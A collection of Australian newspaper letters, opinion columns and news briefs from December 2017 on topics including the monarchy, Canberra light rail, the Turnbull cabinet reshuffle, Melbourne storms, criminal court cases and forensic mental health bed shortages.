The fact is, while the Queen is our sovereign head of state, the Governor-General acts in that role as our executive head of state. This is because our government is constituted under the Crown. Our current Governor-General, Sir Peter Cosgrove, is above politics and acts only in the interests of the nation. Could one ever say the same about any of the potential contenders for president? Also, importantly, no one can control the Governor-General. The most important active office in the land is that of the head of government, the prime minister. Both the vice-regal office and that of the prime minister have been occupied by Australians for decades.

Politicians will always protect the political interest. Big business will always protect big business. Who in this so-called republic is ever going to protect the rest of us? Philip Benwell, national chair, Australian Monarchist League, Sydney Here comes the sun John L. Smith (Canberra Times, December 18) rails at the defacing of urban rooftops with solar panels. I believe that all new buildings in Canberra should be mandatorily fitted with not only solar panels but with water tanks.

What really defaces Canberra are the number of new McMansions shoehorned into ever-decreasing size blocks together with the ever-increasing number of skyscrapers springing up all over Canberra. John Galvin, Weston Hear hear, I say I realise that this is going to look like an advert for Costco, but it's not meant to be. I just want to help fellow sufferers like myself. I am now 73 years old. When I was 61 I bought (with no government assistance) a pair of cic (completely in canal) hearing aids for $8200.

They worked fine for about seven years and then started failing. I then bought two behind-the-ear aids for $7200. As time went on, they became less and less effective. I took a Costco free hearing test and they recommended their Kirkland hearing aids at $2000 the pair. I went on holiday to Prague and while pulling off my jumper on the Charles Bridge, I projected one hearing aid into the Vltava river. I went back to Costco and ordered a pair of Kirklands. I have never had a pair of hearing aids as good. I gave up watching television years ago because of deficient hearing and I now can watch TV without closed captions. If you have a hearing problem, give them a try.

George Beaton, Greenway Driverless don't drink Derek Wrigley (Letters, December 16) asks crucial questions about the safety of driverless vehicles. Leaders in the imminent deployment of fleets of autonomous vehicles such as Google's Waymo, GM, Ford, Nissan, Mercedes and BMW are acutely aware of the necessity for fault tolerance, back-up systems and graceful failure: their commercial viability relies on it. The hundreds of vehicles Waymo are preparing for their launch of a fully autonomous, travel-on-demand system in Phoenix within the next few months have full back-up systems for steering, braking, computing and power, and run thousands of self-checks each second.

GM are building their third-generation autonomous vehicles with triple and, for some functions, quadruple back-up systems. The Department of Infrastructure and Regional Development reports 1295 deaths from road accidents in 2016 and 35,500 hospitalisations in 2014, at an annual economic cost of $27 billion and devastating social consequences. Unlike humans, autonomous vehicles are not distracted, impatient, careless, drunk ortired. Like Phoenix, Canberra has an excellent road network, and it will be at most four years before we'll see fleets of autonomous vehicles offering 24/7, door-to-door, on-demand travel for a fraction of the cost of current public and private transport. Kent Fitch, Nicholls Trickery by numbers

T. Leslie (Letters, December 18) and other aggrieved "no" voters conveniently use statistical trickery to try to assert that the recent "yes" vote on same-sex marriage was anything other than overwhelming. By co-opting non-voters they often state that 49 per cent of eligible voters voted "yes", and 51 per cent voted "no" or abstained, which is correct but implies that 100 per cent of abstainers were against the change. It could equally be argued that only 30 per cent of eligible voters were against the change by saying 70 per cent of voters voted "yes" or didn't really care either way. You can play with numbers any way you want, but a sample size of 80 per cent of the total population meets every test of validity with virtually zero per cent margin for error. Even generously flipping the result, allocating 62 per cent of abstainers to the "no" vote you would still return a 57 per cent "yes" vote, and for greater clarity only a couple of per cent of non-voters needed to vote "yes" for a majority, which is all that is required in a democratic process.

I also note no mention is made of the fact that the voter turnout was actually exceptionally high for a non-compulsory vote. Leslie also seems to believe that a postal survey/plebiscite, designed by the most loud-mouthed "no" voters in the Parliament was somehow flawed and biased towards the "yes" vote. If so, it is the first time in history a politician backs a horse that isn't called "self-interest". Damien Brown, Kingston Wider confessions

Full marks to the royal commissioners for including among their recommendations that clergy be legally required to report any confessions made to them of child sexual abuse. Can we also anticipate subsequent legislation that will oblige lawyers to advise authorities when any client reveals under current privilege that he or she has indeed committed a felonious act? John Murray, Fadden No holds Barred If Mr Barr really wants to win over "southside" residents re the next stage of Canberra's light rail he must first come clean about how he proposes to negotiate Commonwealth Avenue Bridge and Commonwealth Avenue in the vicinity of the Albert Hall and the Hotel Canberra.

Only Option 1 has a hope of coming close to matching the travel time of the existing bus service between Civic and Woden. Option 2, while it may attract those working in Parkes and Barton, will add at least 15 minutes to the through journey. That is not to say that Parkes and Barton, and indeed Russell, Kingston and Manuka, aren't deserving of a service if Canberra is to genuinely espouse light rail, but they (plus an Airport and Belconnen service) need to be adjuncts to the Tuggeranong/Woden/Civic/Gungahlin trunk route. As for the Option 1 route, rather than destroying Commonwealth Avenue, why not leave Adelaide Avenue at State Circle, then down Flynn Drive to an elegant new tramway/foot bridge across to Acton Peninsula and thence via London Circuit or Marcus Clarke St to Civic? It is interesting that P. M. Button (Letters, December 15) reminded us of Griffin's proposal for a third lake crossing (admittedly a footbridge) at this point.

Such a light rail route would add minimal extra time between Woden and Civic and could be connected to a loop back to Civic via Manuka, Kingston, Parkes, Barton and Russell. It would also better serve Acton and the ANU. Garth Setchell, Mawson Outing the snouts Your excellent editorial (December 18) describes the shameful waste of resources and opportunities by those who were elected to lead our nation; to show by example how a middle power can advance both the wellbeing of its citizens and global respect.

Instead we see wastrels preoccupied with dumping on opponents while grasping at every allowance and perk. Not content with superannuation benefits they would never approve for those they represent, our politicians also consider it their right to provide sinecures for each other after snouts rise from the parliamentary trough. There must be a special place in hell for unproductive "leaners" who are parsimonious about expenditure only when other citizens could benefit. Don Burns, Mawson Nuclear future

The UN, China and Russia all know that North Korea is not going to give up its nuclear weapon defence. They basically want a US backdown and acceptance of a permanent long-range nuclear weapon armed North Korea. Rod Matthews, Melbourne, Vic TO THE POINT MATURE MOTORING? I should like to thank Derek Wrigley for his useful letter regarding driverless vehicles (Letters, December 16). My suspicion is that a driverless car future for Canberra is being promoted largely by people who are too old to drive safely, and find public transport off-putting, as it might require physical effort and interaction with one's fellow citizens.

John Mason, Latham CREDIT IS DUE When will Malcolm Turnbull give any credit to Julia Gillard and Jenny Macklin for their work in the instigation of a royal commission into institutional responses to child sex abuse? I will not hold my breath. Robyn Lewis, Raglan, NSW BAG THE TAGGERS

Now that the Chief Minister's pet project, the tram, has been vandalised perhaps the government will finally take seriously the scourge of graffiti taggers, which is blighting this city. Bill and Jenny Handke, Kambah THINK LOCAL ON JOBS A report recently released by the Brotherhood of St Laurence points out that the unemployment rate for15-to-24-year-olds in the labourforce sits at 12.4 per cent, more than double the overall nationalunemployment rate of 5.5per cent. One wonders why onearth successive governments insist for generations on importing ready-made skills instead of investing in home-grown assets? Mokhles k Sidden, South Strathfield, NSW

THE WORDS WORK The words "husband" and "wife" are gender-specific (Letters, December 15) and mean a male spouse and a female spouse. They are not explicitly heterosexual, and seem quite suitable for use by same-sex couples. Michael McCarthy, Deakin, ACT RATIONALITY REQUIRED Mike Black (Letters, December 16) seems to be taking a cheap shot at those who oppose light rail in Canberra in suggesting mature individuals would stoop to the level of brainless graffiti vandals to spray the newly arrived tram. It is always sad to see emotion overrule rationality.

M. Flint, Smart Canberra Transport, Erindale POWER OF CONFESSIONAL Archbishop Denis Hart is right. Breaking the confidence of the confessional will result in a priest being excommunicated from the Catholic Church. If such a priest wasn't under the heavy influence of foreign powers, wouldn't he choose excommunication over silence anyway? David Bailey, Kambah TAIL WAGGING THE DOG
Year 12 students around the country have now received their Australian Tertiary Admissions Ranking (ATAR). For many students, these results are accompanied by celebration and relief.

However, for those whose results are not what they were expecting or hoping for, there may be frustration and disappointment.

The release of ATAR results is a chance for all students who have put in a preference to study at university in 2018 to review their preferences, and think about where they want to go.

The ATAR is a ranking used by universities to sort potential students for admission to their courses.
In the Australian Defence Force, combat patrols are sent out to enhance security, to gather information and react to threats. The Digger that leads a combat patrol is on "the point".

It is a critical position because from the point is where warning and the first response to a threatening situation usually takes place, thus ensuring the safety of the rest of the patrol.

Retired general Stan McCrystal, the former commander of the US Joint Special Operations Command, would often state while we were in Iraq and Afghanistan, "It takes a network to defeat a network." Fortunately, with the creation of the Home Affairs Department, which Peter Dutton will formally take charge of this week in the Turnbull government reshuffle, Australia will have an entity to serve as the focal point for the national network that will help the people who are on "the point" in the fight against terrorism.

Major terrorist attacks this year in New York, Barcelona, London and Manchester remind us that as a nation we must be vigilant just like a combat patrol because it is clear that IS is not on its heels after being defeated in Iraq and Syria. The destructive power of IS and its loose affiliation of global terrorists, which is unprecedented in the history of terrorism, will continue to disrupt and shatter our sensibilities.
At the beginning of the Great Depression, Geoffrey, his brother Max and his parents left Sydney for Brisbane. Geoff recalled that his new Brisbane home "became something of a spirit home for me because there were always animals about", particularly noting the horses being prepared nearby for racing at Doomben and Eagle Farm, which was to inspire a lifelong hobby.

Starting shortly after the publication of Charles Darwin's monumental work On the Origin of Species in 1859, Australian anatomists played a major role in developing evolutionary anatomy and thus the idea of what it was to be human in the 20th century. Geoff stood at the end of this long and noble intellectual tradition.

Geoff liked to chat about his schooling in Brisbane, which he evidently enjoyed. He first attended Clayfield College, which, when he entered in 1931, had become coeducational. When he was about nine, Geoffrey's family moved house, to live by the Brisbane River, and he began at what is today the Anglican Church Grammar School in East Brisbane, where he was clearly very happy.

He loved to recall his favourite teachers there, especially in history and the German language, and these teachers undoubtedly informed his own scholarly perspective. However, according to his notes, when asked at school early in 1939 what he wanted to do the following year, he said he hoped to study medicine. The Head responded: "That's a pity! We had you down for the French and Latin class, but now you'll have to do German and chemistry."

Geoffrey did in fact study medicine at the University of Queensland. Having been rejected for the armed services, he decided the best thing he could do for Australia at the time was to train to be a doctor. He was also actively involved in student affairs and president of the University Students' Union in 1947-48.

The students' newspaper, Semper Floreat, for March 14, 1947 notified that Geoff Kenny, union president and "[a] Med V. student... will bring his professional insight and University experience to bear on any problems students may wish to have explained to them. See him at George St most days of the week." This really was very much Geoff's style, as he loved people and loved sharing his knowledge with them.

On graduation, Geoff took up a position in anatomy at the Medical School in Queensland, with the intention of travelling later to England to study clinical neurology. From Australia, he obtained a training position in what is now the National Hospital for Neurology and Neurosurgery, Queens Square, London.
By the time the Turnbull government is booted from office, the people who speak out on our behalf will be silenced. They will be unable to campaign on poverty, health or the Coalition's pathetic attitude to the environment.

The lifeblood has already drained from the Human Rights Commission. Gone are the days when its president would stand up for the dispossessed and the disadvantaged. For the Liberal government, that was just the beginning of undermining those who speak out. Now, Attorney-General George Brandis, chief architect of the "great silencing", is off to Britain. Lucky him.

Agents of foreign influence? A charity collector in Sydney. Credit:Andrew Quilty

If you are exercised because the United States government told the Centres for Disease Control not to use words like evidence-based and science-based, look a little closer to home for Australia's banned beliefs.

This lot are all over religious freedoms when it comes to gay marriage but not keen to defend the right to political beliefs and advocacy. The government is determined to mute the charities that challenge harmful policies and their effect on our bodies and land. I should be Christmassy and cheerful but this government isn't taking time off from its agenda of crushing criticism. The silencing bill, also known as the Electoral Legislation Amendment (Electoral Funding and Disclosure Reform) Bill 2017, was introduced on December 7.
2017 was a year of reflection and recovery as the fallout from 2016's major funding shake-up permeated through the dance community. There was the announcement that one of Melbourne's stalwart contemporary dance companies, KAGE, would close at the end of its overseas tour in 2018, and that arts magazine RealTime will no longer be published.

Despite these setbacks, there was a slowly growing optimism as much of the sector found stability. From the many interesting works in Asia TOPA, another iteration of Dance Massive, and through to some big highs at Melbourne Festival towards the last quarter of the year, 2017 has been busy  even by Melbourne's standards.

Lucy Guerin Inc. and Dancenorth with Senyawa in Attractor at XO State as part of Asia TOPA. Credit:Gregory Lorenzutti

The year started off with Asia TOPA, a triennial performing arts event celebrating Asia-Pacific arts and collaborations between local and international artists. Attractor at XO State was a terrific example of a deeply developed collaboration. Dancers from Townsville-based Dancenorth worked with Melbourne choreographers Lucy Guerin and Gideon Obarzanek, and Indonesian rock duo Senyawa, to deliver a vivid performance featuring audience interaction and stunning movement sequences. Attractor heads to Perth Festival next year.

Other collaborations were less fully realised; Circa's One Beautiful Thing featured company performers alongside Indian Mallakhamb acrobats, but failed to really gel as a work. With the return of Asia TOPA slated for 2020, hopefully there will be time for more companies and artists to develop deep artistic collaborations.
Earlier, VicRoads advised motorists to avoid travel in fierce weather conditions. Nick Addison was inside his house in Templestowe watching the freak thunderstorm with his four-year-old daughter when they heard a deafening sound outside. "We're were just looking up at the lightning across the sky then all of a sudden we heard this pretty loud banging and kept going so we went out the front to take a look," he said. "There were huge hailstones everywhere.... I picked a few of them up and they were easily golf ball-size."

Mr Addison said his car was protected under a double garage, but friends and family living nearby in Templestowe weren't so lucky. "I know my friend's car has copped a fair bit of damage and hailstones just pelted through my parents' pergola," he said. "I'd imagine there is plenty of damage out there tonight." Grosvenor Street in Brighton after Tuesday's deluge. Credit:Ben Buxton Melbourne Airport warned some flights may be delayed due to the weather, with a spokeswoman confirming the airport was operating on a single runway on Tuesday evening.

The airport also urged travellersto check with the airlines they were flying with for updates on delays. The State Emergency Service has responded to more than 1600 call-outs across the state, with the bulk of requests for help coming from regional areas including Mildura, Swan Hill, Kilmore and Shepparton. The SES has also been inundatedwith calls for help from the Manningham municipalitywhich encompasses Doncaster, Templestowe, Donvale, Bulleen, Warrandyte and Wonga Park. A storm rolls into Melbourne on Tuesday night. Credit:Daniel Pockett "Most of these calls have been for assistance with trees down over roads, fallen powerlines and building damage," a State Control Centre spokeswoman said.

"There are also reports of large hail stones falling in some areas, thunderstoms and damaging winds as the storm moves from central Victoria to the east of the state and into Melbourne." An estimated 100,000 Victorians are currently without power, according to the SES. It remains unknown when power will be restored. The bureau has also warned another wild storm front may affect areas including Bendigo, Shepparton, Seymour, Wodonga, Wangaratta, Traralgon and Bairnsdale.

There was a significant rainfall in Melbourne's CBD, with flash flooding reported on the corner of Elizabeth and Victoria streets early Tuesday night. Extreme flash flooding was also reported in Swan Street in Richmond,Brunswick, Brighton andWurundjeri Wayin the city's CBD.

Metro Trains is reporting heavy delays on the Upfield lines due to flooding and equipment faults near Brunswick. The Pakenham line is also experiencing major delays between Dandenong and Pakenham due to equipment faults near Beaconsfield and Officer, with commuters being urged to allow extra travel time.

Flooding at the intersection of Elizabeth and Victoria streets in North Melbourne. Photo: Matthew Leung The mercury dropped suddenly from 37 degrees to 24 degrees just before 5pm and the weather bureau warned there will be a continual gradual decline in temperature on Tuesday evening. A severe thunderstormwarning was issued for Melbourne and areas near Dandenong late Tuesday afternoon. Thunderstorm warnings are also in place for Central, Mallee, Northern Country, North Central and parts of South West, West and South Gippsland and Wimmera Forecast Districts.

Bureau of Meteorology senior forecaster Stephen King said Melbourne could be hit with winds in excess of 90 km/h and hailstones bigger than two centimetres. "There will be a more gradual decline overnight which will see temperatures drop to 17 degrees in Melbourne as the storm rolls in," Mr King said. Winds up to 100km/h have already whipped Laverton while rain has bucketed down in Frankston with eight millimetres measuredby 5pm on Monday.

Lightning over Melbourne CBD Credit:Ben Fox About 30 millimetres ofrain has fallen inMildura after a wild storm battered the regional city,damaging homes, ripping off roofs and knocking over trees in its path. More than 100 calls for assistance were made to the State Emergency Service in Mildura alone, leading to a request for back-up from CFA volunteers.

"[The storms]will start off in western Victoria probably as early as 12 midday and then progress quickly to central Victoria this afternoon and eastern Victoria into the evening and overnight," Mr Kingsaid. Although Tuesday will peak at 36 degrees and fire bans exist in some parts of the state, Mr King said the bureau's "bigger concern" was the thunderstorms they think could possibly develop across Melbourne and into northern Victoria. "If those storms do develop there is the potential that they could become severe, so what that means is we might see damaging winds in excess of 90 km/h, heavy rainfall that could lead to flooding and also large hailstones."
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Not so long ago Christian Porter received a wooden spoon from Tony Abbott for his less than record-breaking performance in Pollie Pedal, the former prime minister's annual event that couples raising money for charity with daily, gruelling 120-kilometre bicycle rides.

But the 47-year-old West Australian is the winner in today's ministerial reshuffle with his appointment as Attorney-General, a job he inherits from George Brandis, and continues his rapid rise through the ministerial ranks since his election as the member for the Perth seat of Pearce in 2012.

The graduate of the London School of Economics, public prosecutor, Star Wars tragic and one-time contender for Cleo magazine's eligible bachelor of the year, came to federal politics after serving as treasurer and attorney-general in Liberal premier Colin Barnett's government.

Until Tuesday Mr Porter was social services minister, a $165-billion-a-year portfolio.
Nationals infighting is threatening to derail Malcolm Turnbull's cabinet refresh, after Deputy Prime Minister Barnaby Joyce made a "captain's call" decision to dump his Nationals colleagues Darren Chester and Keith Pitt.

The long-awaited reshuffle has seen five people appointed to the expanded 23-member cabinet, including rookie Queensland federal MPs David Littleproud and John McVeigh, in a move designed to woo voters in the key battleground state.

Underscoring the breadth of the larger than expected reshuffle, another six cabinet ministers either swapped portfolios or picked up extra responsibilities, meaning just under half the cabinet was changed.

Mr Littleproud becomes the Minister for Agriculture and Water Resources, while Mr McVeigh  who had served in the Queensland state government as a minister  becomes Minister for Regional Development, Territories and Local Government. Both were first elected just 18 months ago.
Infrastructure Minister Darren Chester is set to be dumped in Malcolm Turnbull's reshuffle, with Deputy Prime Minister Barnaby Joyce instrumental in the decision to axe the well-regarded cabinet minister.

Mr Joyce is now expected to take over the portfolio of his Nationals' colleague, and there are suggestions he will keep the Water portfolio but surrender Agriculture.

Rookie Queensland Nationals MP David Littleproud is favourite to take Mr Chester's cabinet post, in a meteoric rise from the backbench just 18 months after he entered Parliament.

The promotion of Mr Littleproud, who was one of just four MPs to vote against same-sex marriage and called for a division on the issue, would give the Queensland Nationals a second cabinet post, at the expense of Victoria.
In the race between the merit principle and sectional politics, the former is often cited, but the latter more often observed.

Now we have a frank explanation of how power is really apportioned within the Coalition: geography.

Thus, Victoria's Darren Chester, widely agreed to be the Nationals' most competent figure, gets punted from Malcolm Turnbull's cabinet to be replaced by a rookie preferred by Barnaby Joyce.
Ocean's 8 shouldn't have to be a perfect film - Ocean's 11 certainly wasn't. Go back and watch it. It's cheesy; it's cliched and the acting - from Clooney and Pitt in particular - is average. Let's not even mention Ocean's 12 and 13. But none of it mattered. What mattered was that a group of good-looking, sweet-talking, movie star men were banding together and getting up to no good.

It's interesting that all-male casts don't have to be extraordinary, they can just be average. Because all-male casts aren't considered special, they're the generic default.

It's just a tad reminiscent of what happened late last year. You know that thing that set the backlash ball rolling in the first place: the first woman to run for President of the United States lost the election.

Hillary Clinton was far from perfect, but because she's a woman she was held to a higher standard than every other candidate. And in the end, even accounting for voter suppression, the college electoral vote and collusion with Russia, the American people sent a clear message: they'd rather have an unstable, unqualified, racist, sexual harassing narcissist in the top spot than a woman.

Similarly, women aren't yet allowed to make fun-loving, slightly pointless movies. If there's a female cast, it had better be super important and statement-making, like Wonder Woman; or Big Little Lies. It should tell us something about how strong women are, and how seriously we've fought against patriarchal constraints. If it is trying to be funny, it has to be the right type of funny - not Bridesmaids funny, where there's pooping and burping involved. And not Ghostbusters funny where the gags don't always land. No, it has to be expertly hilarious and shiny and perfect. You know, like Woody Allen's Wonder Wheel, or Louis CK's I Love you Daddy. Yeah, just exactly as funny and topical and brilliant as that.
The Australian Federal Police is investigating itself after details of an operation to arrest an alleged North Korean agent were accidentally broadcast on social media.

AFP officers arrested a 59-year-old Sydney man on Sunday and charged him, alleging he had tried to arrange the sale of North Korean missile parts.

But days before the man's arrest, the AFP's media team broadcast a minute-long discussion on live-video streaming app Periscope of how they would manage media surrounding the event.

The Periscope clip was recorded by The West Australian - whose report included details on the timing of the arrest, and whether Prime Minister Malcolm Turnbull or opposition leader Bill Shorten would need to be briefed.
This week you may be one of the thousands of students who after 12 years of school education is reduced to a single number  the ATAR. A ranking that is, inevitably a form of comparison. It will leave some thinking they are world beaters, and maybe some of them will be. For others they will have to dig deep to overcome the disappointment of a score lower than they expected, and perhaps a score imposed on them by ambitious schools, parents or peers.

It is sheer madness of course, and has nothing to do with education. But, to paraphrase Phillip Larkin on death, the ATAR is no different whined at than withstood. It is the system. The good news is, once that unpleasantness is over, life as we know it, as it properly should be, can be resumed. You now have the rest of your life to decide what you want to do with it. Take your time. After all, if you do everything in a great hurry you will look pretty silly having nothing left to do for the majority of your life.

Illustration: Kerrie Leishman

It doesn't mean do nothing, but it does mean that if you are feeling a little disconnected or lacking direction that is ok. Ignore the smug entreaties of people who lack the insight to appreciate the role that good fortune played in their "successes" urging you to follow your passion. You might not be particularly passionate about very much, if anything. That is ok too. Not everyone can get unnaturally excited about train sets, or semi-conductors. Furthermore, the shallow passion brigade generally are talking more about hedonism, the pursuit of pleasure than they are about the true meaning of passion as suffering. The pursuit of pleasure rarely delivers what it promises. If it did why do all those Melburnians return from the Gold Coast? Like Collingwood supporters, what they really need is a bit of Melbourne-style suffering.

Much better than thinking solely in terms of seeking out pleasure, is to be useful. Consider your life in those terms for a moment. How can I make myself useful? Immediately the perspective changes and one can begin to link the skills and talents one has to possible projects. Then a training course or a degree can be seen in terms of how it might enhance your utility.
Two more men have been charged over a major school fire on the Gold Coast last year.

Police this week charged a 19-year-old Tallebudgera man with two counts of arson and a 20-year-old Coolangatta man on one count of arson over the blaze, which ripped through the drama building of St Andrews Lutheran College at Tallebudgera on April 26.

A 20-year-old Mermaid Beach man was charged with two counts of arson last month over the school fire and a playground fire at a nearby park six days earlier.

All three will appear in the Southport Magistrates Court next year.
A three-state ministerial council has been unable to break a political stalemate on the implementation of the Murray Darling Basin Plan.

Ahead of the meeting, Basin Community Committee member Russell Pell was optimistic the discussion would be about "constructive ideas  not political grandstanding".

NSW water minister Niall Blair leaves the Murray-Darling Basin meeting after negotiations failed. Credit:Mark Jesser

But after the meeting, that's exactly what NSW and Victoria's water ministers accused their South Australian counterpart Ian Hunter of doing.

"Today South Australia pretty much tried to hold hostage, or blackmail, the NSW and Victorian communities," Victorian Water Minister Lisa Neville said.
The Blue Mountains council claims it has done everything in its power to respond to allegations of asbestos management breaches, while it awaits the government's verdict over whether it will be suspended.

The council's case for survival is contained in a lengthy submission to Local Government Minister Gabrielle Upton, who last week issued the council with a seven-day deadline to respond to the allegations or face a three-month suspension.

Local Government and Environment Minister Gabrielle Upton issued the Blue Mountains council with a seven-day deadline.

The council urged the minister against suspending the elected body, claiming it "has acted in a timely, cooperative, open and appropriate manner" in responding to asbestos issues.

Speaking ahead of an extraordinary council meeting on Tuesday night, Mayor Mark Greenhill said he was "confident" Ms Upton would accept the council's position.
Two men accused of a home invasion where one allegedly used a chainsaw to assault the 63-year-old occupant have claimed they had only entered the Annandale unit because they thought it was a brothel.

But a prosecutor has questioned the pair's motives in Newtown Local Court on Tuesday, adding a search of the men found "no means of paying for a prostitute" other than a Coles Myer gift card.

"I'm not sure how successful [they] would have been," Sergeant Luke Johnston told the court.

Justin Clarke and Jayson Nichols, both 21 from Quakers Hill, will remain behind bars for Christmas after being refused bail following their arrest in a nearby pub on Monday night just hours after the alleged chainsaw attack took place.
A man from Sydney's west has been charged with foreign incursion offences after police raided a home near Bankstown on Tuesday morning.

Belal Betka, 25, from Mount Lewis, allegedly travelled to the conflict zone in Syria in March 2015 before returning to Australia seven months later.

He is accused of aligning with the so-called Islamic State, and to have been in its defacto capital of al-Raqqa.

Mr Betka has been investigated by police since his return to Australia in October 2015, according to a joint statement by NSW Police and Australian Federal Police.
Two men involved in a dramatic arrest in Centennial Park last week have been charged with the supply of almost one tonne of cocaine, carrying an estimated street value of $360 million.

Aukuso Junior Paulo, 34, from Crows Nest, and Kigi Kamuta, 39, from The Ponds, were two of three men arrested while travelling with two semi-automatic weapons and $650,000 in cash, during a planned police operation in the eastern suburbs park.

A third man, Royce Royal Hura, 27, was also arrested at the scene.

Both Mr Hura and Mr Paulo are former players of the Parramatta Eels rugby league club.
A "cowardly" Hells Angels member will miss Christmas with his children after facing court over the shooting of two strangers from close range amid a dispute that followed a 30th birthday party at a pub.

Police allege Vince Tominiko shot one man twice to the stomach and shot the man's brother in the buttock after fetching a gun from a car parked outside the Hampton Park Tavern in the early hours of November 19.

Mr Tominko and the brothers had been guests at a birthday party at the venue but had allegedly become involved in an altercation, along with other men, that began soon after the party finished and spilled outside.

A summary tendered during Mr Tominiko's bail application in Melbourne Magistrates Court on Tuesday reads: "Investigators believe this offending was cowardly, extremely violent and unjustified."
A man charged with murder in a horror shooting in Melbournes south-east reportedly killed his son in a shocking family violence incident just days before Christmas.

Peter John Smith, 69, allegedly killed Andrew Smith at a house in Mulgrave on Monday night. Credit:Channel Seven

Peter John Smith, 69, appeared briefly before Melbourne Magistrates Court on Tuesday, charged with the murder of Andrew Smith, 30, in Mulgrave on Monday night.

The shooting followed an angry clash between the two men at their house that ended when Mr Smith allegedly opened fire killing the young father of two.

Neighbours said the family had lived in the street for more than five years, but had mostly kept to themselves.
The Thomas Embling Hospital in Fairfield. There are 23 people on the waiting list for the hospital. There are another five who have been found not guilty by mental impairment or are unfit to stand trial, but aren't technically on the waiting list, because a custody order cannot be made by a judge until there is a bed available for them. Eighty-five of the 109 patients at Thomas Embling have either been deemed unfit to stand trial or found not guilty by way of impairment. Because of the seriousness of their conditions, and their crimes, they will spend an average of 10 years at the hospital, according to Department of Health and Human Services figures, though some could spend much longer. Dimitrious "Jimmy" Gargasoulas is facing six charges of murder and 28 counts of attempted murder. Credit:Facebook Sixteen patients have psychotic symptoms or are suicidal and need short-term treatment before they return to prison. A further eight patients are not part of the criminal justice system but cannot be safely managed in the community.

An overdue expansion, to add 18 more beds next year, will not even address the waiting list. Easton Woodhead spent five months in prison waiting for a bed to become available at Thomas Embling. And every day those waiting in prison get worse: some people cannot access medication that has drastically improved the health of those at Thomas Embling; others have become so unwell they are not eating or drinking, a court heard earlier this month. Most of those on the waiting list are receiving care in prison, and are treated differently to inmates in the general population. But, as the Supreme Court was told earlier this month, there are significant issues with the prison system that mean it is at best less therapeutic and at worst injurious for mentally-ill prisoners who should be at Thomas Embling.

Those waiting for a place, for the most part, have been found by the courts to be not criminally responsible for their actions. Delaying their treatment is not just detrimental to them, but undermines the integrity of the criminal justice system. Since 2000, Victoria's prison population has increased by about 4000, and they have been crammed in. A new 1300-person capacity prison at Ravenhall opened in October. Last Friday, the state government trumpeted another $345 million prison expansion program to "keep Victorians safe". In the same 17-year period, the number of beds at Thomas Embling has risen by 41. Meanwhile, demand has grown not just because there are more prisoners, but because more of them are likely to be mentally unwell, and their illness more acute. One factor for this is increased methamphetamine use, experts say. Another could be the long-term failure to properly fund the mental health sector, meaning many people don't receive help until they find themselves in prison.

A third factor is an improved understanding of the complexity of mental health; more people are being diagnosed, so more require treatment. These factors have created a cycle that Victoria Legal Aid chief counsel Tim Marsh, a specialist in mental impairment matters, described as "Kafka-esque": people getting worse the longer they wait for others to get better, and then needing more time to get better themselves. Only a "massive undertaking in infrastructure" could address the issue, Mr Marsh said. "That should have happened 10 years ago ... it's absolutely appalling no thought was given to this," he said. "It's a sad indictment on the system that you have increases in numbers at the blue uniform end of the debate but there is so little attention given to the treatment and rehabilitative end of the debate."

The longest wait The person waiting longer than anyone else for a place at Thomas Embling is Stephen Bailey, who killed his mother, Penny, during a psychotic delusion in 2015. Bailey has been waiting in Port Phillip prison for eight months, and is expected to have to wait at least another six. Earlier this month, he appeared in the Supreme Court's Banco Court, Victoria's most stately courtroom, and received an apology from Danny Sullivan, the executive director of forensic services at Forensicare, for how he had been treated. Forensicare, the state's forensic mental health service provider, runs Thomas Embling.

Bailey's lawyer, Fiona Todd, had not wanted her client in court that morning; his mental state has deteriorated significantly in the more than two years he has been in prison, and being transported from his cell to court only traumatised him further. But there he was, sipping from a polystyrene cup and clad in a green prison tracksuit, the ornate plasterwork of the court's ceiling looming above him. Ms Todd asked Dr Sullivan, before Justice Stephen Kaye, about Bailey's condition. She asked the question because she knew the answer: Bailey was not improving. One of the reasons for this, it became clear, was that he could not access the drug Clozapine in prison. Clozapine has been successful in treating acute psychosis in other patients, Dr Sullivan said, but could not be administered in prison as it required regular blood tests to monitor side effects  something that could only be done in a hospital setting.

It is not the only issue with medication: other prisoners have told their lawyers and service providers that, once in jail, they can no longer access the same medications they are used to, and have to settle for generic brands they say are less effective. Not alone Bailey may be the prisoner who has been waiting longest, but he is far from the only person subject to months behind bars while waiting for a hospital bed. In November 2015, Easton Woodhead was found not guilty by way of mental impairment of murdering homeless man Wayne Perry, who he'd stabbed to death the previous year. After the jury's verdict, Woodhead had to wait five months in prison for a bed at Thomas Embling to become available.

It was later revealed the hospital warned the state government in 2013 that the growing number of referrals by courts increased the pressure in managing prison numbers. But Mr Marsh said the length of Bailey's wait for hospital admission had changed the expectation within the criminal legal system. "What is alarming about the Bailey case is a bed had always been found by the six-month mark. That has clearly now changed." There are too many others to list here who waited several months, and had their recovery stunted in the meantime; people such as Socrates Tamvakis, Shane Gannon and Eva Whitecross, who were found to have killed people they knew because they were unwell. Another prisoner who could find themselves on a waiting list is Sean Price, who murdered 17-year-old Masa Vukotic and raped a woman in March 2015.

A County Court judge said last month Price could be returned to Thomas Embling if his mental health continued to decline. Price was previously a patient there (and infamously punched Tony Abbott as the then-health minister toured the hospital). For every mentally unwell prisoner who has reached a level of notoriety because of their crimes, there are many others who are also suffering because of the crisis. Take a 20-year-old indigenous man from Geelong diagnosed with schizophrenia as well as mental and behavioural disorders due to his consumption of cannabis and methamphetamine, who was suspected of a string of driving and theft offences. Justice Lex Lasry found in September that the man "demonstrated the extremely concerning shortage of appropriate psychiatric treatment regimens for those who badly need them". "I am not prepared to simply leave this man at the mercy of the system," he said.

The increases in Victoria's prison numbers, according to Mr Marsh, means a large proportion of that population are "lingering in a state of significant unwellness", that further puts Thomas Embling under strain. On the other side What of those who are, finally, able to get a bed? In the past nine months, there are two separate cases of men, who cannot be identified, being conditionally released after they killed people during psychotic episodes in 2007. One, known as GAD, spent nine years on a custodial supervision order at Thomas Embling, attempting to overcome a history of chronic auditory hallucinations spanning more than 25 years, after being found not guilty of murder through mental impairment over a fatal stabbing. The other man, CP, entered a stranger's house and killed her, but was also found not guilty because of mental impairment.
WA senator Linda Reynolds has expressed disappointment a Senate inquiry into shark mitigation and deterrent measures did not produce a clear plan to address increasing shark attacks in WA.

Ms Reynolds said 15 people had been killed by sharks since 2000, compared to three in the 17 years prior to that. The senate committee made only one recommendation relating to WA, which was focused on personal deterrent devices.

Rpela creator Dave Smith with South West MP Diane Evers.

Ms Reynolds would like to see a range of measures used that could include shark nets and drum lines to mitigate shark attacks because "there was no single solution".

